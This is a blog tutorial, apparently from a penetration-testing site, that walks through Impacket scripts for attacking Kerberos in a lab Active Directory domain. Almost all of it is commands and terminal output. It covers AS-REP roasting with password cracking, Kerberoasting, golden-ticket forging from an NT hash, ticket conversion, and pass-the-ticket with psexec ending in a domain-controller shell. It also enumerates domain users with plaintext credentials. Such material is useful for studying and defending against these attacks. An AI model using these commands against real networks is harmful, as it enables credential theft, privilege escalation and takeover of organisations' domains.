Abusing Kerberos Using Impacket

June 20, 2020 By Raj Chandel

In this post, we are going to discuss how we can abuse Kerberos protocol remotely using Python libraries "Impacket" for conducting the lateral movement attack. You can download from **here**.

Table of Content

- GetNPUSERs.py
- GetUserSPN.py
- Ticketer.py
- TickerConverter.py
- GetTGT.py
- GetADUser.py

About Impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

Packets can be constructed from scratch, as well as parsed from raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

GetNPUSers.py

This script will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking.

```
python GetNPUsers.py -dc-ip 192.168.1.105 ignite.local/ -usersfile users -format j
```

As a result, the attacker will able to obtain the NTLM Hashes inside the output file Hashes and with the help of John the ripper he can go for password cracking as done here.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hahses
```

This script is useful for abusing Kerberos against **AS-REP Roasting** attack.

```
root@kali:~/impacket/examples# python GetNPUsers.py -dc-ip 192.168.1.105 ignite.local/ -usersfile users -format john -outputfile hashes
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[-] User aarti doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User geet doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
root@kali:~/impacket/examples# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password@1       ($krb5asrep$yashika@IGNITE.LOCAL)
1g 0:00:00:01 DONE (2020-05-16 13:38) 0.5780g/s 1215Kp/s 1215Kc/s 1215KC/s Popadic3..Passion7
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/impacket/examples#
```

GetUSERSPN.py

This module will try to find Service Principal Names that are associated with a normal user account. Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request will encrypt the ticket with the account the SPN is running under, this could be used for an offline brute-forcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.

```
python GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika
```

```
root@kali:~/impacket/examples# python GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

Password:
ServicePrincipalName                                Name           MemberOf  PasswordLastSet             LastLog
--------------------------------------------------  -------------  --------  --------------------------  -------
WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111   SVC_SQLService           2020-05-14 14:28:22.509428  2020-05
```

Ticketer.py

This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, extrasids, etc.

This will generate the ticket into ccache format which can be converted further into kirbi.

```
python ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-sid S-1-5-21-3
```

This script can be helpful for abusing Kerberos against **GOLDEN TICKET ATTACK**.

```
root@kali:~/impacket/examples# python ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-s
id S-1-5-21-3523557010-2506964455-2614950430 -domain ignite.local raj
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for ignite.local/raj
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in raj.ccache
```

TicketConverter.py

This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, and vice versa. As you can observe that the above script helps in generating the ccache file and with the of this script we can convert into kirbi.

```
python ticketConverter.py raj.ccache ticket.kirbi
```

```
root@kali:~/impacket/examples# python ticketConverter.py raj.ccache ticket.kirbi
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done
```

GetTGT.py

This python script will request a TGT and save it as ccache for given a password, hash or aesKey. That we can be injected directory for access the requested service.

we have used getTGT to generate the ccache and used KERB5CCNAME pass the ccache file for the requested service. This is completely remote attack without using a local system of the compromised victim, but you need to compromise NTLM hashes for that, type following to conduct pass the ccache attack remotely.

```
python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 ig
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.16
```

And as result by injecting the ticket we have accessed the domain controller shell.

This script is useful in following attacks for abusing Kerberos:

- **Kerberoasting and Pass the Ticket Attack Using Linux**
- **Lateral Movement: Pass the Cache**

- **Lateral Movement: Over Pass the Hash**

```
root@kali:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef15
1e03 ignite.local/yashika
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in yashika.ccache
root@kali:~/impacket/examples# export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.105.....
[*] Found writable share ADMIN$
[*] Uploading file jSkCSFLL.exe
[*] Opening SVCManager on 192.168.1.105.....
[*] Creating service foEE on 192.168.1.105.....
[*] Starting service foEE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

GetADUser.py

This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. If no entries are returned that means users don't have email addresses specified. If so, you can use the -all-users parameter.

```
GetADUSers.py -all ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.105
```

As a result, it has dumped all username of the Activity Directory as shown in the image.

```
root@kali:~/impacket/examples# GetADUsers.py -all ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.105
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Querying 192.168.1.105 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2020-04-15 08:26:40.209053  2020-05-16 08:28:12.020705
Guest                                                 <never>              <never>
DefaultAccount                                        <never>              <never>
krbtgt                                                2020-04-15 08:42:33.436920  <never>
yashika                                               2020-04-15 08:50:04.025773  2020-05-16 09:51:33.419376
aarti                                                 2020-04-15 08:50:47.072506  <never>
geet                                                  2020-05-11 16:11:48.967750  <never>
kavish                                                2020-04-15 08:52:15.306919  <never>
SVC_SQLService                                        2020-05-14 14:28:22.509428  2020-05-15 14:07:16.137996
```